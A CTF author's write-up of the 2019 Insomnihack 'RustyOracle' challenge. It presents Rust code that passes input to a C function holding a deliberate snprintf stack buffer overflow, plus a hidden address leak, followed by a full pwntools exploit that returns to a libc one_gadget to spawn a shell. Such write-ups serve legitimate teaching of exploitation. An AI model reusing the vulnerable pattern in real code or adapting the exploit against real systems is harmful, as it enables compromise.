I'll make a very small write-up about the challenge I've created for the 2019 Insomnihack CTF event that takes place in Switzerland, Geneva.
TLDR: just grab all the source code from RustyOracle.
The code is written mainly in rust with a little bit of C and was considered to be an easy-medium challenge. At first, I wanted it to be an oracle like binary. It ended up something in that range with the fact that it only prints back the text you give to it. Without any other introduction, let's check-out the code.
extern crate libc;
extern crate regex;
#[macro_use] extern crate lazy_static;
use regex::RegexSet;
use std::io::{self, Read};
const MAX_BUF_SIZE: usize = 2048;
#[link(name = "mylibc")]
extern {
fn vuln_code(s: *const libc::c_uchar, size: usize);
}
#[derive(Debug)]
struct Input<'a> {
data: &'a [u8],
default_size: usize,
}
lazy_static!{
static ref RE: RegexSet = RegexSet::new(&[
r"u1F52E.*",
]).unwrap();
}
impl<'a> Input<'a> {
fn new() -> Self {
return Input{
data: "\u{1F507} The ORACLE has nothing so say \u{1f507}".as_bytes(),
default_size: 1024,
}
}
fn set_data(mut self, data: &'a [u8]) -> Self {
self.data = data;
self
}
fn print_oracle(&self, size: usize) {
println!("μαντείο says: ");
let data = self.data;
unsafe {
vuln_code(data.as_ptr(), size);
}
}
}
fn does_it_match(data: &[u8]) -> bool {
let matches: Vec<usize> = RE.matches(&String::from_utf8_lossy(data))
.into_iter()
.collect();
if matches.len() == 0 {
return false
} else {
return true
}
}
fn main() {
println!("---------------------------------------------");
println!("| \u{1F52E} WELCOME TO THE ORACLE \u{1F52E} |");
println!("| |");
println!("| μιλήστε και το μαντείο θα σας απαντήσει |");
println!("| |");
println!("---------------------------------------------");
let mut tmpbuff = String::with_capacity(MAX_BUF_SIZE);
println!("Ask μαντείο your question !");
let _: usize = match io::stdin().read_line(&mut tmpbuff) {
Ok(n) => n as usize,
Err(_error) => 0 as usize,
};
// cheet code -> need a leak because of PIE binary
if tmpbuff.contains("boogyismyhero") {
let foobar = (libc::strncpy as *const ()) as isize;
println!("here is your fortune cookie \u{1f960} : {}", foobar);
}
println!("Do you have enything else to ask μαντείο ?");
let mut user_input = [0; MAX_BUF_SIZE];
let read_size = MAX_BUF_SIZE;
io::stdin().read_exact(&mut user_input).unwrap();
let data = user_input;
if data.is_empty() == false
{
let mut work_data = Vec::new();
work_data.push(data);
for _line in work_data.into_iter()
{
if does_it_match(&_line)
{
Input::new()
.set_data( &_line[ 6..(*&_line.len()) ] )
.print_oracle(read_size - 6);
} else {
println!("Try harder god damn it !!!");
}
}
} else {
Input::new().print_oracle(1024)
}
}
As you can see in the code above, the only thing rust is doing is taking some input and sending it to another piece of code, written in C, where the actual vulnerability relies in.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
void vuln_code(char *line, size_t size)
{
char buffer[1024];
snprintf(buffer, size, "%s", line);
fprintf(stdout, "%s\n", buffer);
}
So from here, it is straight forward. We control the size of the input, and this size is passed to the C code into snprintf. We can use snprintf to leak and then exploit the vulnerability (buffer overflow) and gain code execution.
The only catch relies in the rust code in the lines below:
let mut user_input = [0; MAX_BUF_SIZE];
let read_size = MAX_BUF_SIZE;
io::stdin().read_exact(&mut user_input).unwrap();
It is mandatory to fill up the entire buffer, otherwise it will not read the input. And with this in mind, here is the exploit code for the challenge.
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
HOST = "10.13.37.66"
PORT = 1337
BINARY = "target/release/oracle"
dir_path = os.path.dirname(os.path.realpath(__file__))
elf = ELF(BINARY)
context.update(binary=elf)
context.log_level = "debug" if "debug" in sys.argv else "info"
context.terminal = ['tmux', 'splitw', '-h']
LIBC = None
LOCAL = "remote" not in sys.argv
DEBUG = "debug" in sys.argv
MAGIC_TEXT="u1F52E"
MAGIC_COOKIE="boogyismyhero"
if LOCAL:
r = process(BINARY)
else:
r = remote(HOST, PORT)
if "gdb" in sys.argv or DEBUG:
gdb.attach("{}/{}".format(dir_path, BINARY), """
load-pwndbg\n
c\n
""")
## one gadgets available in libc-2.27.so
## ubuntu 18.04 LTS
"""
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
libc = ELF(LIBC) if LIBC else elf.libc
libc_offset = 0xb6b70
one_gadget = 0x4f2c5
# one_gadget = 0x4f322
print(r.readuntil("Ask μαντείο your question !"))
log.info("Sending leak text")
r.sendline("{0}{1}".format(MAGIC_TEXT, MAGIC_COOKIE))
print(r.readline())
r.readuntil(": ")
leak_addr = r.readline()
leak_addr = int(leak_addr)
# leak_addr = r.readlines(2)[1][-15:]
# print("Leaked address: "+"".join(leak_addr))
print("Leaked address: %#x" % leak_addr)
# leak = re.findall("[0-9]+", leak_addr)
leak = int(leak_addr)
libc_base = leak - libc_offset
onegadget = libc_base + one_gadget
log.info("leak libc::strncpy -> {}".format(hex(leak)))
log.info("leak libc::base -> {}".format(hex(libc_base)))
log.info("leak libc::one_gadget -> {}".format(hex(onegadget)))
payload = "\x41"*(1032)
payload += p64(onegadget)
payload += "\x42"*(2048-1032-len(p64(onegadget)))
log.info(hexdump(payload))
print(r.readuntil("Do you have enything else to ask μαντείο ?"))
log.info("Sending payload ...")
r.sendline("{0}{1}".format(MAGIC_TEXT, payload))
print(r.read(2048, timeout=4))
r.interactive()
Full source code for the challenge can be found here.